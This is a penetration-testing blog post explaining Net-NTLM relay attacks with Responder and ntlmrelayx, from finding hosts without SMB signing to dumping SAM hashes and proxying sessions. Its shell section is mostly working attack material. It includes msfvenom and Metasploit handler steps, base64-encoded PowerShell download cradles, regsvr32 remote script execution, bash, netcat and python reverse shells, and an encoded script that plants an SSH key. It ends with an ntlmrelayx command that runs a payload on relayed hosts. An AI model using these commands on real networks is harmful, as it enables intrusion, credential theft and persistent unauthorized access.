Net-NTLM Relaying

Friday, February 21, 2020

Introduction

Originally, I wrote a post on this subject before. But, I felt it was a bit shoddy. So, this is my re-write on the subject.

Net-NTLM relaying is a very satisfying exploit-chain, and there are multiple approaches to it. This post will discuss:

  • The theory of relaying Net-NTLM
  • Finding the correct targets
  • Configuring the tools
  • Dumping the SAM Database (the ntlmrelayx default)
  • SOCKS4 Proxying
  • Getting a meterpreter shell

TL;DR Theory

First and foremost, this is a man-in-the-middle attack. Windows machines have the capabilities to sign SMB connections1. But, commonly, this is not enabled and this article discusses the default settings of SMB Signing: https://support.microsoft.com/en-gb/help/887429/overview-of-server-message-block-signing

If an automated process connects to the attacker, or the attacker is able to respond to the LLMR/NBT-NS and poison the name resolution, the the attacker is able to pass the authentication off to a target WITHOUT SMB Signing.

When the relayed authentication hits the target, the target will then generate a challenge and sends it back to the attacker. The attacker can then send the challenge back to the original host and the original host will then encrypt the hash with the correct password hash and sends it to the attacker.

The attacker can then pass the correctly encrypted response back to his target and successfully authenticate.

The diagram below is from a paper called SMB Relay Demystified and NTLMv2 Pwnage with Python and nails the brief description of this issue (please don’t sue me).

The BLUE arrows are the original communications and the RED arrows are slightly modified versions of those communications that the attacker is relaying to his target, so that he can gain access to it.

NTLM Relaying

Here are some additional resources:

The Correct Targets

Before relaying a host, the correct hosts need to be identified. Microsoft have implemented several techniques to prevent Net-NTLM Relaying, and several CVEs were found.

For example, a bypass in MIC was found which an optional field that NTLM clients use to ensure that attackers cannot tamper with NTLM messages. The MIC is used in the msvAvFlag field within the NTLM_AUTHENTICATE message, the 0x2 flag indicates that the message includes a MIC and it should fully protect servers from attackers who attempt to remove the MIC and perform NTLM relay2.

This gives the NTLM Message integrity, however Preempt researchers identified an issue that allows attackers to remove the MIC protection and modify fields in the NTLM authentication flow, such as the signing negotiation. And now we have CVE-2019-1040.

However, in a lot of networks, SMB Signing is not required and these hosts can easily be identified. RunFinger.py in the Responder tools directory is perfect for this.

RunFinger.py

Run RunFinger.py:

./tools/RunFinger.py -i 10.10.11.0/24 -g

This will produce output similar to this:

['10.10.11.100', Os:'Could not fingerprint Os version.', Domain:'AVATAR', Signing:'False', Time:'2020-02-20 20:48:57', Null Session: 'False', RDP:'True']
['10.10.11.113', Os:'Could not fingerprint Os version.', Domain:'AVATAR', Signing:'False', Time:'2020-02-20 20:48:57', Null Session: 'False', RDP:'True']
['10.10.11.112', Os:'Could not fingerprint Os version.', Domain:'AVATAR', Signing:'False', Time:'2020-02-20 20:49:13', Null Session: 'False', RDP:'True']

But, to grab just these IPs:

cat fingerprint.txt|cut -d ',' -f1,4|grep False| cut -d ',' -f1|grep -oP "'\K[^']+"

This file can now be the hosts given to ntlmrelayx.

Configuring the tools

Responder

The first thing here is to make that HTTP and SMB are set to off because ntlmrelayx will use these protocols. This can be found in the Responder.conf file:

[Responder Core]

; Servers to start
SQL = On
SMB = Off
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On
LDAP = On

Once that is configured, get Responder listening with the following:

sudo Responder.py -I enx000ec6b305c1

NTLMRelayx

By default, on a successful relay, ntlmrelayx will dump the SAM Database. This is easily achieved by pointing ntlmrelayx against hosts:

sudo python ntlmrelayx.py -tf no-smb-signing.txt -smb2support

Example:

Stuff running

Responder will now listen, pass it to ntlmrelayx and on a successful relay, dump hashes. Like so:

Dumping SAM

SOCKS4 Proxying

This is probably my favourite way to do this. ntlmrelayx supports an option, -socks which can store successful relay sessions in a SOCKS4 format. In order to do this, the correct proxychains config needs to be in place.

Edit the last line of /etc/proxychains.conf file with the following entries:

[ProxyList]
socks4 <ip of machine where ntlmrelayx is running> 1080

With Responder running, run ntlmrelayx:

sudo python ntlmrelayx.py -tf no-smb-signing.txt -smb2support -socks

Once a host is successfully relayed, the ntlmrelayx output should look like this:

SOCKS hosts

Within the ntlmrelayx shell, run socks to see the available proxied hosts:

ntlmrelayx> socks
Protocol  Target        Username          AdminStatus  Port 
--------  ------------  ----------------  -----------  ----
SMB       10.10.11.113  /                 FALSE        445  
SMB       10.10.11.100  AVATAR.LOCAL/WAN  TRUE         445  
SMB       10.10.11.112  AVATAR.LOCAL/WAN  TRUE         445 

Now, the proxy is ready to use. This example runs secretsdump.py through it, but a whole raft of things could be done here:

gimme secrets

This post from SecureAuth goes into a lot of detail on the various things that can be done with the SOCKS proxying.

Shells

The fun part!

Metasploit

In order to get a shell via msf, there are 3 steps.

1. MSFVenom

Create a payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.11.58 LPORT=4444 -f exe -o rev.exe

2. Handler

Create the exploit/multi/handler:

use exploit/multi/handler 
set lhost 10.10.11.58
set payload windows/meterpreter/reverse_tcp
run

3. NTLMRelayx

Run ntlmrelayx with the -e flag. This will tell ntlmrelayx to execute a binary on success:

sudo python ntlmrelayx.py -tf relayable.txt -e rev.exe -smb2support

Shell

With all that, something like this should happen:

Shelby

Shelby is a self-plug. Shelby is an Execution Cradle Generator inspired by PoshC2 and their PoshC2_Project/quickstart.txt documentation.

Generating payloads

Easily done with shelby:

shelby.py --ip-address 10.10.11.58 --shell-port 4444 --server-port 80

This will give a lot of different shells, like so:

The Web Delivery Server is at: 10.10.11.58:80
Shells receiving at: 10.10.11.58:4444
Writing cradles to: cradles/

[+]     Shells
==============
    •   Nishang Reverse TCP: cradles/Invoke-PowerShellTcp.ps1
    •   Nishang Bind TCP: cradles/Invoke-PowerShellTcpOneLineBind.ps1
    •   Add SSH Key (Linux): cradles/add_ssh_key.sh
[+]     SSH Keys
================
    •   SSH Keys written to: keys/
[+]     Cradles
===============
[-] IEX Raw: 'Nishang Reverse TCP'
IEX (new-object system.net.webclient).downloadstring('http://10.10.11.58:80/Invoke-PowerShellTcp.ps1')

[-] IEX Raw: 'Nishang Bind TCP'
IEX (new-object system.net.webclient).downloadstring('http://10.10.11.58:80/Invoke-PowerShellTcpOneLineBind.ps1')

[-] IEX Base64: 'Nishang Reverse TCP'
powershell.exe -nop -e SQBFAFgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADEALgA1ADgAOgA4ADAALwBJAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBTAGgAZQBsAGwAVABjAHAALgBwAHMAMQAnACkA

[-] IEX Base64: 'Nishang Bind TCP'
powershell.exe -nop -e SQBFAFgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADEALgA1ADgAOgA4ADAALwBJAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBTAGgAZQBsAGwAVABjAHAATwBuAGUATABpAG4AZQBCAGkAbgBkAC4AcABzADEAJwApAA==

[-] IEX GZIP: 'Nishang Reverse TCP'
powershell.exe -nop -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKABbAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAF0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEgANABzAEkAQQBKAHcAUABUADEANABDAC8AeABYAEMAcwBRAHEARABNAEIAQQBHADQARgBkAHgAVQB3AGMAdgBaAGgARABFAHYAWQBOAGIAdwBRADYAdQBHAG4AKwBxAGIAWABvAFgAawBxAFAAQgB0AHgAYwAvAHYAdgBFAHgARgB4AFUAagBOADcASgArADQATABSAEkAWgAxAEwAOABpAEsARwBVAHMAVABwAC8AZwBMAFcAbQBUAFQASgA3AFcAYgBhAGsAOABlAEIAMwBWAGUANgBxAFkAVABEAEcAdABuAFMAMwAxAFAAVgBEADMANQBxAFIALwAvAEoARgA4ADUAUwBNAE8ATwAzAHcALwB1AFUAQwBoAFcAVABMACsAZwBMAGoAQQB5AFkAOQBaAGcAQQBBAEEAQQA9AD0AJwApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQAsAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApAA==

[-] IEX GZIP: 'Nishang Bind TCP'
powershell.exe -nop -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKABbAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAF0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEgANABzAEkAQQBKAHcAUABUADEANABDAC8AeABYAEMAcwBRAHIAQwBNAEIAQQBHADQARgBmAHAAMQBuAGIAbwBwAFIAbQBFADAAbABGAHcASwBBAGcASwBkAFgAQwAxAHkAWQArAE4AeAByAHYAUQBIAEEAMgArAHYAZgBqAHgAVABhAGQANwAxAFQAQgBLAEoAOABzAEwAVABxAHYAOAB6AFkAbwBQAE0AWgBRAEsARgBoAGMARABXAEYAdgB5AFUAagBqAEsAdwAyAGYAZABBAGoAKwBiAGUAbABWAE4AbwB6AEcAMgBwADMAOQBMAGgAMgBFAGMAZQBqAFAAeABMAG0AOQAwAFYAeQBuAFkANQBoAFUAeAAzAGwAeQA2AE0ATQA2AEIAYwBRAHoAcwBLAFcAVgBiAHQAegA5AEIAUQA0AHMAcQBjAFEAQQBBAEEAQQA9AD0AJwApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQAsAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApAA==

[-] Regsvr32: 'Nishang Reverse TCP'
regsvr32 /s /n /u /i:http://10.10.11.58:80/regsvr32_tuxscdlcjrpl.sct scrobj.dll

[-] Regsvr32: 'Nishang Bind TCP'
regsvr32 /s /n /u /i:http://10.10.11.58:80/regsvr32_pfobiwkrfonc.sct scrobj.dll

[-] Bash Reverse TCP
/bin/bash -i >& /dev/tcp/10.10.11.58/4444 0>&1

[-] Netcat Reverse TCP
nc -e /bin/sh 10.10.11.58 4444

[-] Netcat Reverse TCP (OpenBSD)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.11.58 4444 >/tmp/f

[-] Python Reverse TCP
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.11.58",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

[-] Add SSH Key: Linux
echo "IyEvYmluL3NoCktFWT0ic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFDQVFEUDlETnhzdTZ3cHgrUTNHTUxhREMra0Z1aXBPLzRtd0pSbG9ySXBQNHM3ODNYNllZN0JxenIwRTBBbXpybGc4Q29BcVdJVmF6YzVrVm5oeXlDdi9QcUpJR1JwdjBpVE55a3hVNkZqVEloNU1JNnRUKy9TbUtycWQzSEZjUTVSSDRJVWx1NmdRR2JBNVptS1ZQRXF6Y3lDTjYzWG1LS2FHREE0MVkyN1huWXlrNktFNklweHUwckhNRHZHZDQ3QUdoWGRDZEp4eXk3Q3UrVkF3WnBlQzZJdkZ1MFA4T0RUN2lPTnNPYTQwMnkzV1R3dFZVWnM4ZWRUbGVGY2kvcUgvenhzZmVnQ2pYTHBqTnZtUTNFOVFRcDkrYUtiM3FONkdSeXErcmVNVzZIVzY2OFhYK3lnMWk1L3NuTzhhUVdNdW1HWW9yQmxQbFdTeVJnVUtnYzduQUxYb1h2T2ZPdDluUFVMYWM5aWZzeUhHdlNSTnI4dlkwZy80akgvZkhHa2luTU5rREZTaEJRb1R0cWcxRDJMVzBGVlZ1d3N0ZS9nZENiTkt2eUxLT0RqNFZrUlI4c3YzdTVtWDZQYzlUM3lLaTNMcUVZbmxxMHBHVzhKZkR6dDBiWGJEKzhmcVN2eENQSlBrME9telVCMUxUS0I3azlYYXZtWTdxcmpmU0FSdEdia1dyNGMvN0R0eTdJU2g4UmQwRFo2UjE3dlEwYVdXWlFtU0FZMk1vSmJKVDY1MFpBeVM3RTJJeWl1Vkd0QjhiNm9oSVl5eXprQllDZlZVclE2NEphVHh6b1J2UzZ1MFZtT1UzMlVIN0JNYTdWb2M5cmFJODVJb0xRemtLcklJREhWcjA3cU83NHpyaHBXMXV2RlFZUDI1R1pnbXdHS2NTSTlPU3NBcE85Znc9PSBtZXowQGtpbGx1YSIKU1NIX1BBVEg9JEhPTUUvLnNzaApBVVRIT1JJWkVEX0tFWVM9IiRTU0hfUEFUSC9hdXRob3JpemVkX2tleXMiCmVjaG8gIkNoZWNraW5nICRTU0hfUEFUSCBleGlzdHMuLi4iCmlmIFsgLWQgIiRTU0hfUEFUSCIgXTt0aGVuCgllY2hvICIkU1NIX1BBVEggZXhpc3RzISIKCWlmIFsgLWYgIiRBVVRIT1JJWkVEX0tFWVMiIF07IHRoZW4KCQllY2hvICJGb3VuZCAkQVVUSE9SSVpFRF9LRVlTISwgYXBwZW5kaW5nLi4uIgogICAgCWVjaG8gJEtFWSA+PiAkQVVUSE9SSVpFRF9LRVlTCgllbHNlCgkJZWNobyAiRmFpbGVkIHRvIGZpbmQgJEFVVEhPUklaRURfS0VZUy4iCgkJZXhpdCAxCglmaQplbHNlCgllY2hvICJGYWlsZWQgdG8gZmluZCAkU1NIX1BBVEgiCiAgICBleGl0IDEKZmkKZWNobyAiRG9uZSEiCmV4aXQgMA=="|base64 -d|/bin/sh

[+] Written by @michaelranaldo & @mez-0 (https://ad-995.group)

Additionally, these directories and file will be created:

-rwxr--r-- 1 mez0 mez0  36K Feb 20 23:00 cradle_commands.txt
drwxr-xr-x 2 mez0 mez0 4.0K Feb 20 23:00 cradles
drwxr-xr-x 2 mez0 mez0 4.0K Feb 13 17:20 keys

cradles will have several files, these are the ones that should be delivered via HTTP. The directory will look like this:

-rw-r--r-- 1 mez0 mez0  435 Feb 20 23:02 add_ssh_key.sh
-rw-r--r-- 1 mez0 mez0  558 Feb 20 23:02 Invoke-PowerShellTcpOneLineBind.ps1
-rw-r--r-- 1 mez0 mez0 4.3K Feb 20 23:02 Invoke-PowerShellTcp.ps1
-rw-r--r-- 1 mez0 mez0  592 Feb 20 23:02 regsvr32_vaeapbxmvdyd.sct
-rw-r--r-- 1 mez0 mez0  624 Feb 20 23:02 regsvr32_weqwsotxghvd.sct

For example, if the regsvr32 cradle is required, then executing the following will cause the regsvr32 binary to look up the --ip-address flag and attempt to grab the associated file (which is in the cradles directory).

regsvr32 /s /n /u /i:http://10.10.11.58:80/regsvr32_tuxscdlcjrpl.sct scrobj.dll

Serving the cradles

This can be done however, but ensure that the cradles directory is being served:

sudo python -m SimpleHTTPServer 80

Additionally, make sure that nc -nvlp is listening for the --cradle-port flag:

nc -nvlp 4444

Relaying

For this, the payload will be:

powershell.exe -nop -e SQBFAFgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADEALgA1ADgAOgA4ADAALwBJAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBTAGgAZQBsAGwAVABjAHAALgBwAHMAMQAnACkA

This is a generic Nishang shell being downloaded via an encoded command:

IEX (new-object system.net.webclient).downloadstring('http://10.10.11.58:80/Invoke-PowerShellTcp.ps1')

In this instance, HTTP:80 is being used to serve the cradles, so an additional flag is given to ntlmrelayx:

sudo ntlmrelayx.py -tf no-smb-signing.txt -smb2support --no-http-server -c 'powershell.exe -nop -e SQBFAFgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADEALgA1ADgAOgA4ADAALwBJAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBTAGgAZQBsAGwAVABjAHAALgBwAHMAMQAnACkA'

The server:

Serving HTTP on 0.0.0.0 port 80 ...
10.10.11.100 - - [20/Feb/2020 23:10:59] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -

Which means that the command successfully downloaded the shell. After a few seconds:

Nishang

Conclusion

NTLM Relaying is a really satisfying chain of exploits. This post attempted to highlight some of my personal favourites, but I would suggest to check out SecureAuth‘s post on taking this a few steps further.

If something is wrong, please let me know!

References

  1. Overview of Server Message Block signing
  2. Drop The MIC 2 (CVE 2019-1166) & Exploiting LMv2 Clients (CVE-2019-1338)
WindowsExploitationNTLM RelayingInitial AccessShelby

#TIFG: Kerberos

#TIFG: AMSI